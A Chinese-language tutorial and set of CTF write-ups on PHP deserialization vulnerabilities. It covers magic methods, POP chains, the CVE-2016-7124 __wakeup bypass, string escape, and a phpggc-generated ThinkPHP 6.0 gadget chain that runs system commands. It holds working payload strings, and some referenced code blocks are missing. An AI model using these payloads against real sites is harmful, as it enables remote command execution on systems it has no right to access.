PHP反序列化漏洞

类和对象

在面向对象的程序设计中,对象是两个非常重要的概念。类是创建对象的基础,包含了对象的结构和功能。对象是类的实例,它拥有类中定义的属性和方法。

以下是一个PHP类:

<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

PHP 对属性或方法的访问控制,是通过在前面添加关键字实现的。

  • public:公有的类成员可以在任何地方被访问。
  • protected:受保护的类成员只能被其自身以及其父类和子类访问。
  • private:私有的类成员只能被其定义所在的类访问

访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

  • public:属性值会变成属性名。
  • protected:属性值会变成 \x00*\x00属性名
  • private:属性值会变成 \x00类名\x00属性名
    其中:\x00表示空格。
<?php
class People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id = 'Hardworking666';
$this->gender = 'male';
$this->age = '18';
}
}
$a = new People();
echo serialize($a);
?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

PHP序列化和反序列化

序列化就是把对象转换为数组或字符串等格式。反序列化就是将数组或字符串等格式转换成对象。


如何把一个对象序列化成一串字符串?举个例子:

这里首先创建了一个类Demo。在实例化时,改变了其属性。PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。那么如果之后还要用到这个实例怎么办?解决方法就是先将它序列化存起来。序列化只序列属性,不序列方法

按顺序解释一下输出结果。
O: object;
4: 类名的长度;
2: 2个属性;
s:4 : 第一个属性名,是一个字符串string且长度为4;
s:3 : 第一个属性对应的值,是一个字符串string且长度为3;
s:3 : 第二个属性名,是一个字符串string且长度为3;
s:3 : 第二个属性对应的值,是一个字符串string且长度为3。

用的时候再将其反序列化。

什么时候需要用到序列化和反序列化?

  • 对象在进行网络传输(比如远程方法调用 RPC 的时候)之前需要先被序列化,接收到序列化的对象之后需要再进行反序列化;
  • 将对象存储到文件中的时候需要进行序列化,将对象从文件中读取出来需要进行反序列化;
  • 将对象存储到缓存数据库(如 Redis)时需要用到序列化,将对象从缓存数据库中读取出来需要反序列化。

魔术方法

__construct ():  当对象 new 的时候会自动调用,类似构造函数。

__destruct ():当对象被销毁时会被自动调用,包含主动销毁 (即手动销毁对象) 和被动销毁 (即程序运行结束),类似析构函数。

__sleep (): 执行serialize () 时被自动调用。

__wakeup (): 执行unserialize () 时会被自动调用。

__invoke (): 当尝试以调用函数的方法调用一个对象时会被自动调用。

__toString (): 把类当作字符串使用时触发。//echo $a

__call (): 调用某个方法,若方法存在,则调用;若不存在,则会去调用__call 函数。

__get (): 读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get 函数。

__set (): 设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set 函数。

__isset (): 在不可访问的属性上调用 isset () 或 empty () 触发。

__unset (): 在不可访问的属性上使用 unset () 时触发。

漏洞原理

序列化和反序列化本身没有问题,但是如果反序列化内容用户可控,且后台不正当地使用了魔术方法,就会导致安全问题。

当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

实战中反序列化漏洞一般是工具扫出来的,或者是一些框架/组件已经被爆出来存在反序列化漏洞,攻击者发现目标网站使用了该框架或组件。

POP 链构造

一般来说,出现 PHP 反序列化漏洞是因为代码中写的魔术方法不安全。因为魔术方法会被自动调用,那我们就可以构造恶意的exp来触发它,但有的时候如果出现漏洞的代码不在魔术方法中,而是只在一个普通方法中,那我们怎么利用呢?这时候就可以通过构造 POP 链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

POP链构造首先就是要找到头和尾,也就是用户能传入参数的地方(头)和最终要执行函数方法的地方(尾)。找到头尾之后反推过程,从尾部开始一步步找到能触发上一步的地方,直到找到传参处,此时完整的POP链就显而易见了。CTF赛中一般尾部就是get flag的方法,头部则是GET/POST传参。

[极客大挑战 2019]PHP

index.php:

class.php:

<?php
include 'flag.php';
error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

}
}
}
?>

分析代码。由于unserialize()结束时会自动调用__destruct(),所以只要满足 username=admin 且 password =100,即可得到flag。所以要构造一个 username 属性是 admin 且 password 属性是100的 Name 对象。

注意 username 和 password 都是 private 属性,这意味着它们只能在 Name 类的内部访问,外部代码无法直接修改这些属性。因此,尝试通过 $person->username 和 $person->password 访问会导致 PHP Fatal error。

编写序列化代码时,只需要将原 class 对象复制粘贴下来,要修改的留下,不修改的删掉,如下:

私有属性名称的前面需加上\0。在URL编码中,\0表示为 %00

代码中__wakeup()会将username赋值为guest,所以要想办法绕过该函数。

[!NOTE] CVE-2016-7124(__wakeup 绕过)

  • 影响版本:PHP 5<5.6.25; PHP 7<7.0.10
  • 漏洞危害:如存在__wakeup 方法,调用 unserilize () 方法前则先调用__wakeup 方法 (即在反序列化恢复对象之前调用该方法),但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup 执行。

当成员属性数目大于实际数目(O:4)时可以绕过__wakeup()。

则payload(需要进行url编码):

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

CTFSHOW-Web257

构造 backDoor 类对象作为 ctfshowUser 的成员变量,当代码逻辑执行完后,销毁 ctfShowUser 后就会调用到 backDoor.getInfo()方法。

// POP链CODE:
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';

}
echo urlencode(serialize(new ctfShowUser)); //cookie要进行url编码
?>

序列化后的数据:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

字符串逃逸

第61天:WEB攻防-PHP反序列化&原生类TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征 – The-Starry-Sky

如果代码中有过滤操作,如将 admin 替换为 hacker:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

第二个序列化数据在反序列化时 s:5:”hakcer” 只识别前五个字符,而后导致后续反序列化格式出现问题,从而反序列化失败。

字符串逃逸的意思是让目标被替换后,长度格式仍然正确,使其可以正常被反序列化。在反序列化时,若识别到了正确的序列化数据后,多余的垃圾数据是不影响反序列化结果的。

所以最终在参数 x 处传入数据如下:

O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

同理,如果替换后字符变少了,考虑使反序列化时多识别一些原本属于正常序列化数据的字符。宗旨就是使替换前后的长度相同。

PHP原生类

浅析PHP原生类-安全客 - 安全资讯平台

框架漏洞利用

反序列化链项目:https://github.com/NotSoSecure/SerializedPayloadGenerator

它包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持。使用 Web 界面,可以为各种框架生成反序列化payload。

包含如下:

  • Java – YSoSerial
  • NET – YSoSerial.NET
  • PHP – PHPGGC
  • Python - 原生

这里主要介绍 PHPGGChttps://github.com/ambionics/phpggc

目前该工具支持的框架包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework 等。

BUUCTF [安洵杯 2019] iamthinking

dirsearch目录扫描,发现www.zip,下载源码审计。发现网站是用 ThinkPHP 6.0 开发的。

在 app/controller/index.php 中发现unserialize关键词。

parse_url 解析当前请求的 URL 并提取其组成部分。将 URL 中的 query 字符串(URL结构见下图) 解析成数组 $query。遍历查询字符串中的参数值,检查值是否以字母 O 开头(忽略大小写)。

O是php对象序列化后的第一个字符,parse_url 解析出来的 url 中 的payload 却不能以O开头,那么如何绕过?

parse_url小结 - tr1ple - 博客园

[!NOTE] 解析url

  • URL形如http://xxx.com///index.php?payload=cmd (path部分为///)时,可以正常访问,但parse_url会返回false。
  • parse_url:匹配最后一个@后面符合格式的host。
  • curl:匹配第一个@后面符合格式的host。

接下来构造 ThinkPHP 6.0 反序列化漏洞的payload。

使用 phpggc 工具直接搜索 thinkphp,查看是否有符合版本的链可以利用:

选择要使用的链,查看使用语法格式,这里使用 ThinkPHP/RCE3,生成要执行的命令:

因此,payload为

http://2508200c-2a42-4a62-adb5-e8c33baf78d7.node5.buuoj.cn:81///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D